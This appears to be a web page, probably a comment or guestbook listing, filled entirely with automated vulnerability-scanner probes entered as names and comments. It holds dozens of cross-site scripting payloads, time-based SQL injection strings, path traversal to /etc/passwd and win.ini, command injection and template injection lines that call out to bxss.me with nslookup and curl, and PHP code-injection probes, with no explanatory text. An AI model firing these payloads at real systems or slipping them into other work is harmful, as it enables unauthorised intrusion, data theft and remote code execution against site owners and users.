  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9407></ScRiPt>

• lwqibllw

  1<ScRiPt >epDN(9103)</ScRiPt>

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• lwqibllw

  1<video><source onerror="javascript:epDN(9929)">

• lwqibllw

  1<isindex type=image src=1 onerror=epDN(9673)>

• lwqibllw

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9379'>

• lwqibllw

  1<body onload=epDN(9743)>

• lwqibllw

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=epDN(9606)>

• lwqibllw

  1<img src=xyz OnErRor=epDN(9530)>

• lwqibllw

  1<img/src=">" onerror=alert(9383)>

• lwqibllw

  %31%3C%53%63%52%69%50%74%20%3E%65%70%44%4E%289609%29%3C%2F%73%43%72%69%70%54%3E

• lwqibllw

  1\u003CScRiPt\epDN(9247)\u003C/sCripT\u003E

• lwqibllw

  1&lt;ScRiPt&gt;epDN(9946)&lt;/sCripT&gt;

• lwqibllw

  1<input autofocus onfocus=epDN(9632)>

• lwqibllw

  <a HrEF=http://www.vulnweb.com></a>

• lwqibllw

  <a HrEF=jaVaScRiPT:>

• lwqibllw

  [url=http://www.vulnweb.com][/url]

• lwqibllw

  1<img<!-- --> src=x onerror=alert(9869);//><!-- -->

• lwqibllw

  1}body{acu:Expre/**/SSion(epDN(9461))}

• lwqibllw

  1<% contenteditable onresize=epDN(9515)>

• lwqibllw

  1_V6VVe <ScRiPt >epDN(9799)</ScRiPt>

• lwqibllw

  1<WMZQ4C>FI30Y[!+!]</WMZQ4C>

• lwqibllw

  1<ifRAme sRc=9678.com></IfRamE>

• lwqibllw

  1<7kBIh6 x=9352>

• lwqibllw

  1<img sRc='http://attacker-9786/log.php?

• lwqibllw'"()&%<acx><ScRiPt >epDN(9045)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >epDN(9921)</ScRiPt>

  1

• lwqibllw_9086

  1

• acu10556＜s1﹥s2ʺs3ʹuca10556

  1

• {{9999628*9999253}}

  1

• lwqibllw<ScRiPt >epDN(9675)</ScRiPt>

  1

• lwqibllw<WCD7HA>DSPIZ[!+!]</WCD7HA>

  1

• lwqibllw<script>epDN(9473)</script>

  1

• lwqibllw<ScRiPt >epDN(9787)</ScRiPt>

  1

• lwqibllw<ScRiPt >epDN(9302)</ScRiPt>

  1

• lwqibllw<body onload=epDN(9006)>

  1

• lwqibllw<img src=xyz OnErRor=epDN(9993)>

  1

• lwqibllw<img/src=">" onerror=alert(9885)>

  1

• lwqibllw\u003CScRiPt\epDN(9323)\u003C/sCripT\u003E

  1

• lwqibllw&lt;ScRiPt&gt;epDN(9996)&lt;/sCripT&gt;

  1

• lwqibllw<input autofocus onfocus=epDN(9252)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• lwqibllw}body{acu:Expre/**/SSion(epDN(9244))}

  1

• lwqibllw<% contenteditable onresize=epDN(9446)>

  1

• lwqibllw_I09zQ <ScRiPt >epDN(9104)</ScRiPt>

  1

• lwqibllw<WINQRC>RMVIO[!+!]</WINQRC>

  1

• lwqibllw<ifRAme sRc=9648.com></IfRamE>

  1

• lwqibllw<lMwMOv x=9465>

  1

• lwqibllw<img sRc='http://attacker-9126/log.php?

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  12BdBFs57

• dwUQQUrL

  1

• dwUQQUrL

  -1 OR 2+610-610-1=0+0+0+1 --

• dwUQQUrL

  -1 OR 2+80-80-1=0+0+0+1

• dwUQQUrL

  -1' OR 2+121-121-1=0+0+0+1 --

• dwUQQUrL

  -1' OR 2+42-42-1=0+0+0+1 or 'jtGjFnKB'='

• dwUQQUrL

  -1" OR 2+791-791-1=0+0+0+1 --

• dwUQQUrL

  1*if(now()=sysdate(),sleep(15),0)

• dwUQQUrL

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dwUQQUrL

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• dwUQQUrL

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• dwUQQUrL

  1-1; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1); waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 waitfor delay '0:0:15' --

• dwUQQUrL

  1mjX3pSWx'; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 OR 157=(SELECT 157 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1) OR 375=(SELECT 375 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1)) OR 736=(SELECT 736 FROM PG_SLEEP(15))--

• dwUQQUrL

  186coIG2Y' OR 707=(SELECT 707 FROM PG_SLEEP(15))--

• dwUQQUrL

  1TXfPECKF') OR 941=(SELECT 941 FROM PG_SLEEP(15))--

• dwUQQUrL

  1wS4L7hku')) OR 831=(SELECT 831 FROM PG_SLEEP(15))--

• dwUQQUrL

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• dwUQQUrL

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• dwUQQUrL

  1

• dwUQQUrL

  1'"

• dwUQQUrL

  @@1QcEh

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrLuT7SclqZ

  1

• dwUQQUrL

  1

• -1 OR 2+524-524-1=0+0+0+1 --

  1

• -1 OR 2+870-870-1=0+0+0+1

  1

• -1' OR 2+790-790-1=0+0+0+1 --

  1

• -1' OR 2+895-895-1=0+0+0+1 or 'ape2Bz8s'='

  1

• -1" OR 2+35-35-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• dwUQQUrL-1 waitfor delay '0:0:15' --

  1

• dwUQQUrLmBsXuAo5'; waitfor delay '0:0:15' --

  1

• dwUQQUrL

  1

• dwUQQUrL'"

  1

• @@6JR9u

  1

• dwUQQUrL

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  10ugZMaQd

• kEMlzpAX

  1

• kEMlzpAX

  -1 OR 2+580-580-1=0+0+0+1 --

• kEMlzpAX

  -1 OR 2+666-666-1=0+0+0+1

• kEMlzpAX

  -1' OR 2+629-629-1=0+0+0+1 --

• kEMlzpAX

  -1' OR 2+766-766-1=0+0+0+1 or '4dR4pAy7'='

• kEMlzpAX

  -1" OR 2+229-229-1=0+0+0+1 --

• kEMlzpAX

  1*if(now()=sysdate(),sleep(15),0)

• kEMlzpAX

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• kEMlzpAX

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• kEMlzpAX

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• kEMlzpAX

  1-1; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1); waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 waitfor delay '0:0:15' --

• kEMlzpAX

  1Jo6btg6K'; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 OR 411=(SELECT 411 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1) OR 694=(SELECT 694 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1)) OR 712=(SELECT 712 FROM PG_SLEEP(15))--

• kEMlzpAX

  1u4aAe2O0' OR 734=(SELECT 734 FROM PG_SLEEP(15))--

• kEMlzpAX

  1rjV5yAdT') OR 196=(SELECT 196 FROM PG_SLEEP(15))--

• kEMlzpAX

  1ger0ob5M')) OR 828=(SELECT 828 FROM PG_SLEEP(15))--

• kEMlzpAX

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• kEMlzpAX

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• kEMlzpAX

  1

• kEMlzpAX

  1'"

• kEMlzpAX

  @@JQuIB

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAXrJWah2vg

  1

• kEMlzpAX

  1

• -1 OR 2+282-282-1=0+0+0+1 --

  1

• -1 OR 2+631-631-1=0+0+0+1

  1

• -1' OR 2+997-997-1=0+0+0+1 --

  1

• -1' OR 2+932-932-1=0+0+0+1 or 'BfgkNFPM'='

  1

• -1" OR 2+197-197-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• kEMlzpAX-1 waitfor delay '0:0:15' --

  1

• kEMlzpAXapVzyVHk'; waitfor delay '0:0:15' --

  1

• kEMlzpAX

  1

• kEMlzpAX'"

  1

• @@1oOyI

  1

• kEMlzpAX

  1

• lxbfYeaa

  1

• lxbfYeaa

  1

• User #277275

  1

• User #277275

  1ockHzv1i

• User #277275

  1

• User #277275

  -1 OR 5*5=25 --

• User #277275

  -1 OR 5*5=25

• User #277275

  -1' OR 5*5=25 --

• User #277275

  -1" OR 5*5=25 --

• User #277275

  -1' OR 5*5=25 or 'z2x8lLwQ'='

• User #277275

  -1" OR 5*5=25 or "8K49jSE3"="

• User #277275

  1*if(now()=sysdate(),sleep(15),0)

• User #277275

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• User #277275

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• User #277275

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• User #277275

  1-1; waitfor delay '0:0:15' --

• User #277275

  1-1); waitfor delay '0:0:15' --

• User #277275

  1-1 waitfor delay '0:0:15' --

• User #277275

  1GpN4y9Q6'; waitfor delay '0:0:15' --

• User #277275

  1-1 OR 671=(SELECT 671 FROM PG_SLEEP(15))--

• User #277275

  1-1) OR 494=(SELECT 494 FROM PG_SLEEP(15))--

• User #277275

  1-1)) OR 407=(SELECT 407 FROM PG_SLEEP(15))--

• User #277275

  1iMHbPYPa' OR 536=(SELECT 536 FROM PG_SLEEP(15))--

• User #277275

  1tRxK1aU9') OR 908=(SELECT 908 FROM PG_SLEEP(15))--

• User #277275

  1Pp0MBCEO')) OR 176=(SELECT 176 FROM PG_SLEEP(15))--

• User #277275

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• User #277275

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• User #277275

  1

• User #277275

  1'"

• User #277275

  @@NqgVy

• User #277275

  (select 198766*667891)

• User #277275

  (select 198766*667891 from DUAL)

• User #277275

  1

• User #277275

  1

• User #277275

  1

• User #277275

  1

• User #277275

  1

• User #277275

  1

• User #277275

  1

• User #277275

  1

• User #277275

  1

• User #277275

  1

• User #277275

  1

• lxbfYeaa-1 waitfor delay '0:0:15' --

  1

• lxbfYeaakMIUI2xT'; waitfor delay '0:0:15' --

  1

• lxbfYeaa

  1

• lxbfYeaa'"

  1

• @@mk0Vl

  1

• (select 198766*667891)

  1

• (select 198766*667891 from DUAL)

  1

• User #277275

  1

• User #277275

  1

• User #277275

  1

• User #277275

  1Klp5BXIR

• User #277275

  1

• User #277275

  -1 OR 5*5=25 --

• User #277275

  -1 OR 5*5=25

• User #277275

  -1' OR 5*5=25 --

• User #277275

  -1" OR 5*5=25 --

• User #277275

  -1' OR 5*5=25 or 'YzgK3Rup'='

• User #277275

  -1" OR 5*5=25 or "2IWFkosZ"="

• User #277275

  1*if(now()=sysdate(),sleep(15),0)

• User #277275

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• User #277275

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• User #277275

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• User #277275

  1-1; waitfor delay '0:0:15' --

• User #277275

  1-1); waitfor delay '0:0:15' --

• User #277275

  1-1 waitfor delay '0:0:15' --

• User #277275

  1DdBJBfq7'; waitfor delay '0:0:15' --

• User #277275

  1-1 OR 125=(SELECT 125 FROM PG_SLEEP(15))--

• User #277275

  1-1) OR 596=(SELECT 596 FROM PG_SLEEP(15))--

• User #277275

  1-1)) OR 470=(SELECT 470 FROM PG_SLEEP(15))--

• User #277275

  1jZDa1Dzp' OR 426=(SELECT 426 FROM PG_SLEEP(15))--

• User #277275

  1jYr75n58') OR 997=(SELECT 997 FROM PG_SLEEP(15))--

• User #277275

  1S2X7oxE4')) OR 265=(SELECT 265 FROM PG_SLEEP(15))--

• User #277275

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• User #277275

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• User #277275

  1

• User #277275

  (select 198766*667891 from DUAL)

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaa

  15r9ZFMnc

• lxbfYeaa

  1

• lxbfYeaa

  -1 OR 5*5=25 --

• lxbfYeaa

  -1 OR 5*5=25

• lxbfYeaa

  -1' OR 5*5=25 --

• lxbfYeaa

  -1" OR 5*5=25 --

• lxbfYeaa

  -1' OR 5*5=25 or 'U9OCAjnK'='

• lxbfYeaa

  -1" OR 5*5=25 or "8Eqr2Elh"="

• lxbfYeaa

  1*if(now()=sysdate(),sleep(15),0)

• lxbfYeaa

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• lxbfYeaa

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• lxbfYeaa

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• lxbfYeaa

  1-1; waitfor delay '0:0:15' --

• lxbfYeaa

  1-1); waitfor delay '0:0:15' --

• lxbfYeaa

  1-1 waitfor delay '0:0:15' --

• lxbfYeaa

  1wGYccn71'; waitfor delay '0:0:15' --

• lxbfYeaa

  1-1 OR 462=(SELECT 462 FROM PG_SLEEP(15))--

• lxbfYeaa

  1-1) OR 760=(SELECT 760 FROM PG_SLEEP(15))--

• lxbfYeaa

  1-1)) OR 580=(SELECT 580 FROM PG_SLEEP(15))--

• lxbfYeaa

  1mmDaLbVA' OR 472=(SELECT 472 FROM PG_SLEEP(15))--

• lxbfYeaa

  16X0YOBi7') OR 317=(SELECT 317 FROM PG_SLEEP(15))--

• lxbfYeaa

  14ZKxwyxt')) OR 660=(SELECT 660 FROM PG_SLEEP(15))--

• lxbfYeaa

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• lxbfYeaa

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• lxbfYeaa

  1

• lxbfYeaa

  1'"

• lxbfYeaa

  @@5w7hP

• lxbfYeaa

  (select 198766*667891)

• lxbfYeaa

  (select 198766*667891 from DUAL)

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaaQntWP8Ag

  1

• lxbfYeaa

  1

• -1 OR 5*5=25 --

  1

• -1 OR 5*5=25

  1

• -1' OR 5*5=25 --

  1

• -1" OR 5*5=25 --

  1

• -1' OR 5*5=25 or 'cySnM3N6'='

  1

• -1" OR 5*5=25 or "LLpafLDf"="

  1

• if(now()=sysdate(),sleep(15),0)

  1

• lxbfYeaa-1 waitfor delay '0:0:15' --

  1

• lxbfYeaaOwHE5EdI'; waitfor delay '0:0:15' --

  1

• lxbfYeaa

  1

• lxbfYeaa'"

  1

• @@iD44O

  1

• (select 198766*667891)

  1

• (select 198766*667891 from DUAL)

  1

• lxbfYeaa

  1

• TYYHyRvY

  1

• TYYHyRvY

  1

• TYYHyRvY

  1

• TYYHyRvY

  1bCxOetgX

• TYYHyRvY

  1QEODL26D0

• TYYHyRvY

  1

• TYYHyRvY

  response.write(9721085*9122025)

• 1K469VIQH0

  1

• TYYHyRvY

  echo gmpmoq$()\ kgtlkn\nz^xyu||a #' &echo gmpmoq$()\ kgtlkn\nz^xyu||a #|" &echo gmpmoq$()\ kgtlkn\nz^xyu||a #

• TYYHyRvY

  -1 OR 5*5=25 --

• TYYHyRvY

  '+response.write(9721085*9122025)+'

• TYYHyRvY

  -1 OR 5*5=25

• TYYHyRvY

  "+response.write(9721085*9122025)+"

• TYYHyRvY

  &echo fddypy$()\ dwnjmi\nz^xyu||a #' &echo fddypy$()\ dwnjmi\nz^xyu||a #|" &echo fddypy$()\ dwnjmi\nz^xyu||a #

• TYYHyRvY

  -1' OR 5*5=25 --

• TYYHyRvY

  1&echo lzgejx$()\ sunkrb\nz^xyu||a #' &echo lzgejx$()\ sunkrb\nz^xyu||a #|" &echo lzgejx$()\ sunkrb\nz^xyu||a #

• TYYHyRvY

  -1" OR 5*5=25 --

• response.write(9063082*9517063)

  1

• TYYHyRvY

  -1' OR 5*5=25 or 'IOEEAEv7'='

• TYYHyRvY

  |echo fegjtw$()\ vcuecg\nz^xyu||a #' |echo fegjtw$()\ vcuecg\nz^xyu||a #|" |echo fegjtw$()\ vcuecg\nz^xyu||a #

• TYYHyRvY

  -1" OR 5*5=25 or "x640jAKI"="

• '+response.write(9063082*9517063)+'

  1

• TYYHyRvY

  1|echo sxhlkk$()\ kuchjp\nz^xyu||a #' |echo sxhlkk$()\ kuchjp\nz^xyu||a #|" |echo sxhlkk$()\ kuchjp\nz^xyu||a #

• TYYHyRvY

  1*if(now()=sysdate(),sleep(15),0)

• "+response.write(9063082*9517063)+"

  1

• TYYHyRvY

  expr 9000370419 - 916959

• TYYHyRvY

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• TYYHyRvY

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• TYYHyRvY

  ../../../../../../../../../../../../../../etc/passwd

• TYYHyRvY

  (nslookup -q=cname hitugqsorxpvv2193f.bxss.me||curl hitugqsorxpvv2193f.bxss.me))

• TYYHyRvY

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• TYYHyRvY

  ../../../../../../../../../../../../../../windows/win.ini

• TYYHyRvY

  $(nslookup -q=cname hitmhqchxhlvza9647.bxss.me||curl hitmhqchxhlvza9647.bxss.me)

• TYYHyRvY

  file:///etc/passwd

• TYYHyRvY

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• TYYHyRvY

  1

• TYYHyRvY

  1-1; waitfor delay '0:0:15' --

• TYYHyRvY

  &nslookup -q=cname hitwdudwlyzbn3fc6d.bxss.me&'\"`0&nslookup -q=cname hitwdudwlyzbn3fc6d.bxss.me&`'

• TYYHyRvY

  &(nslookup -q=cname hithipzzidcpo48acf.bxss.me||curl hithipzzidcpo48acf.bxss.me)&'\"`0&(nslookup -q=cname hithipzzidcpo48acf.bxss.me||curl hithipzzidcpo48acf.bxss.me)&`'

• TYYHyRvY

  ../1

• TYYHyRvY

  |(nslookup -q=cname hitpkdcaffrgpebbdc.bxss.me||curl hitpkdcaffrgpebbdc.bxss.me)

• TYYHyRvY

  1-1); waitfor delay '0:0:15' --

• TYYHyRvY

  1-1 waitfor delay '0:0:15' --

• file:///etc/passwd

  1

• TYYHyRvY

  `(nslookup -q=cname hitvnontazcuz93dc5.bxss.me||curl hitvnontazcuz93dc5.bxss.me)`

• TYYHyRvY

  1f31IwGs9'; waitfor delay '0:0:15' --

• TYYHyRvY

  1

• TYYHyRvY

  ;(nslookup -q=cname hitxqxicwickg576b0.bxss.me||curl hitxqxicwickg576b0.bxss.me)|(nslookup -q=cname hitxqxicwickg576b0.bxss.me||curl hitxqxicwickg576b0.bxss.me)&(nslookup -q=cname hitxqxicwickg576b0.bxss.me||curl hitxqxicwickg576b0.bxss.me)

• ../TYYHyRvY

  1

• TYYHyRvY

  1-1 OR 169=(SELECT 169 FROM PG_SLEEP(15))--

• TYYHyRvY

  |(nslookup${IFS}-q${IFS}cname${IFS}hitcepxmojlegab2b1.bxss.me||curl${IFS}hitcepxmojlegab2b1.bxss.me)

• TYYHyRvY

  &(nslookup${IFS}-q${IFS}cname${IFS}hitiyxzfhlidqedfb8.bxss.me||curl${IFS}hitiyxzfhlidqedfb8.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitiyxzfhlidqedfb8.bxss.me||curl${IFS}hitiyxzfhlidqedfb8.bxss.me)&`'

• TYYHyRvY

  1-1) OR 857=(SELECT 857 FROM PG_SLEEP(15))--

• TYYHyRvY

  ${9999121+9999898}

• TYYHyRvY

  1-1)) OR 198=(SELECT 198 FROM PG_SLEEP(15))--

• ${10000435+9999601}

  1

• TYYHyRvY

  1w0kWaxrz' OR 659=(SELECT 659 FROM PG_SLEEP(15))--

• TYYHyRvY

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• TYYHyRvY

  1rFxDEED1') OR 784=(SELECT 784 FROM PG_SLEEP(15))--

• Anonymous

  1

• TYYHyRvY

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• TYYHyRvY

  1eN2KxJeO')) OR 502=(SELECT 502 FROM PG_SLEEP(15))--

• TYYHyRvY

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• TYYHyRvY

  /etc/shells

• TYYHyRvY

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• TYYHyRvY

  ../../../../../../../../../../../../../../etc/shells

• TYYHyRvY

  1

• TYYHyRvY

  redirtest.acx

• TYYHyRvY

  c:/windows/win.ini

• TYYHyRvY

  1'"

• TYYHyRvY

  1

• TYYHyRvY

  https://kickassapp.com/

• expr 9000146666 - 923950

  1

• TYYHyRvY

  redirtest.acx?1

• TYYHyRvY

  bxss.me

• TYYHyRvY

  @@uGzP1

• redirtest.acx

  1

• TYYHyRvY

  (select 198766*667891)

• TYYHyRvY

  '"()

• TYYHyRvY

  Http://bxss.me/t/fit.txt

• https://kickassapp.com/

  1

• TYYHyRvY

  (select 198766*667891 from DUAL)

• TYYHyRvY

  1'&&sleep(27*1000)*nlndku&&'

• TYYHyRvY

  http://bxss.me/t/fit.txt?.jpg

• TYYHyRvY

  1

• redirtest.acx?TYYHyRvY

  1

• TYYHyRvY

  1"&&sleep(27*1000)*rykigx&&"

• TYYHyRvY

  1

• TYYHyRvY

  '.gethostbyname(lc('hitxf'.'ynuhzzll2cd43.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(80).chr(113).chr(88).'

• TYYHyRvY

  1'||sleep(27*1000)*mxfmen||'

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• TYYHyRvY

  '.gethostbyname(lc('hitxf'.'ynuhzzll2cd43.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(80).chr(113).chr(88).'

• TYYHyRvYHeTbt9DI

  1

• TYYHyRvY

  1'||sleep(27*1000)*mxfmen||'

• /etc/shells

  1

• TYYHyRvY

  ".gethostbyname(lc("hitua"."fucqxuhl02e04.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(69).chr(105).chr(67)."

• TYYHyRvY

  gethostbyname(lc('hitva'.'bxwodtqe93bf3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(90).chr(113).chr(73)

• TYYHyRvY

  1

• TYYHyRvY

  1"||sleep(27*1000)*ciobos||"

• -1 OR 5*5=25 --

  1

• TYYHyRvY

  1

• -1 OR 5*5=25

  1

• c:/windows/win.ini

  1

• -1' OR 5*5=25 --

  1

• bxss.me

  1

• '"()

  1

• TYYHyRvY

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• -1" OR 5*5=25 --

  1

• Http://bxss.me/t/fit.txt

  1

• TYYHyRvY'&&sleep(27*1000)*iuccdd&&'

  1

• TYYHyRvY

  ';print(md5(31337));$a='

• -1' OR 5*5=25 or 'axJLCJzz'='

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• TYYHyRvY"&&sleep(27*1000)*mqquad&&"

  1

• -1" OR 5*5=25 or "4MEuqrhg"="

  1

• TYYHyRvY

  HttP://bxss.me/t/xss.html?%00

• TYYHyRvY

  ";print(md5(31337));$a="

• TYYHyRvY

  "+"A".concat(70-3).concat(22*4).concat(112).concat(65).concat(114).concat(75)+(require"socket" Socket.gethostbyname("hitoc"+"kxraweuhc0646.bxss.me.")[3].to_s)+"

• TYYHyRvY'||sleep(27*1000)*woehpj||'

  1

• TYYHyRvY

  1

• TYYHyRvY

  ${@print(md5(31337))}

• TYYHyRvY

  bxss.me/t/xss.html?%00

• TYYHyRvY

  '+'A'.concat(70-3).concat(22*4).concat(110).concat(77).concat(100).concat(79)+(require'socket' Socket.gethostbyname('hitdi'+'btlxpjle7030d.bxss.me.')[3].to_s)+'

• TYYHyRvY'"

  1

• TYYHyRvY"||sleep(27*1000)*czkdqe||"

  1

• TYYHyRvY

  ${@print(md5(31337))}\

• HttP://bxss.me/t/xss.html?%00

  1

• TYYHyRvY

  'A'.concat(70-3).concat(22*4).concat(115).concat(69).concat(110).concat(80)+(require'socket' Socket.gethostbyname('hitdp'+'bbzaelqo3dcb3.bxss.me.')[3].to_s)

• TYYHyRvY

  comment

• TYYHyRvY

  '.print(md5(31337)).'

• bxss.me/t/xss.html?%00

  1

• @@Fnq06

  1

• TYYHyRvY

  comment

• TYYHyRvY

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• (select 198766*667891)

  1

• TYYHyRvY

  comment/.

• (select 198766*667891 from DUAL)

  1

• comment

  1

• ';print(md5(31337));$a='

  1

• comment

  1

• TYYHyRvY

  '{"

• ";print(md5(31337));$a="

  1

• TYYHyRvY

  <!--

• comment/.

  1

• '{"

  1

• ${@print(md5(31337))}

  1

• <!--

  1

• ${@print(md5(31337))}\

  1

• '.print(md5(31337)).'

  1

• TYYHyRvY

  1'"()&%<zzz><ScRiPt >JUJ4(9208)</ScRiPt>

• TYYHyRvY'"()&%<zzz><ScRiPt >1Dop(9973)</ScRiPt>

  1

• TYYHyRvY

  {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitqywmllcdonf8dd0.bxss.me")}}

• '"()&%<zzz><ScRiPt >1Dop(9917)</ScRiPt>

  1

• TYYHyRvY9317041

  1

• TYYHyRvY

  '"()&%<zzz><ScRiPt >JUJ4(9800)</ScRiPt>

• TYYHyRvY

  19082302

• bfg7639＜s1﹥s2ʺs3ʹhjl7639

  1

• <%={{={@{#{${dfb}}%>

  1

• TYYHyRvY

  bfg4035＜s1﹥s2ʺs3ʹhjl4035

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• TYYHyRvY

  <%={{={@{#{${dfb}}%>

• dfb{{98991*97996}}xca

  1

• TYYHyRvY

  <th:t="${dfb}#foreach

• dfb[[${98991*97996}]]xca

  1

• TYYHyRvY

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• dfb__${98991*97996}__::.x

  1

• TYYHyRvY

  dfb{{98991*97996}}xca

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• TYYHyRvY

  dfb[[${98991*97996}]]xca

• TYYHyRvY<ScRiPt >1Dop(9696)</ScRiPt>

  1

• TYYHyRvY

  dfb__${98991*97996}__::.x

• TYYHyRvY<WXVDXZ>DMIDF[!+!]</WXVDXZ>

  1

• TYYHyRvY

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• TYYHyRvY<script>1Dop(9407)</script>

  1

• TYYHyRvY

  1<ScRiPt >JUJ4(9332)</ScRiPt>

• TYYHyRvY<script>1Dop(9680)</script>

  1

• TYYHyRvY

  1<W6FNAY>EULAL[!+!]</W6FNAY>

• TYYHyRvY<script>1Dop(9439)</script>9439

  1

• TYYHyRvY

  1<script>JUJ4(9434)</script>

• TYYHyRvY<script>1Dop(9663)</script>9663

  1

• TYYHyRvY

  1<script>JUJ4(9233)</script>

• TYYHyRvY

  1<script>JUJ4(9068)</script>9068

• TYYHyRvY<ScRiPt >1Dop(9288)</ScRiPt>

  1

• TYYHyRvY<ScRiPt >1Dop(9288)</ScRiPt>

  1

• TYYHyRvY

  1<script>JUJ4(9885)</script>9885

• TYYHyRvY

  1<ScR<ScRiPt>IpT>JUJ4(9125)</sCr<ScRiPt>IpT>

• TYYHyRvY<ScRiPt >1Dop(9016)</ScRiPt>

  1

• TYYHyRvY

  1<ScRiPt >JUJ4(9140)</ScRiPt>

• TYYHyRvY

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9599></ScRiPt>

• TYYHyRvY

  1<ScRiPt >JUJ4(9350)</ScRiPt>

• TYYHyRvY<body onload=1Dop(9629)>

  1

• TYYHyRvY

  1<isindex type=image src=1 onerror=JUJ4(9541)>

• TYYHyRvY<img src=xyz OnErRor=1Dop(9730)>

  1

• TYYHyRvY

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9377'>

• TYYHyRvY<img/src=">" onerror=alert(9701)>

  1

• TYYHyRvY

  1<body onload=JUJ4(9316)>

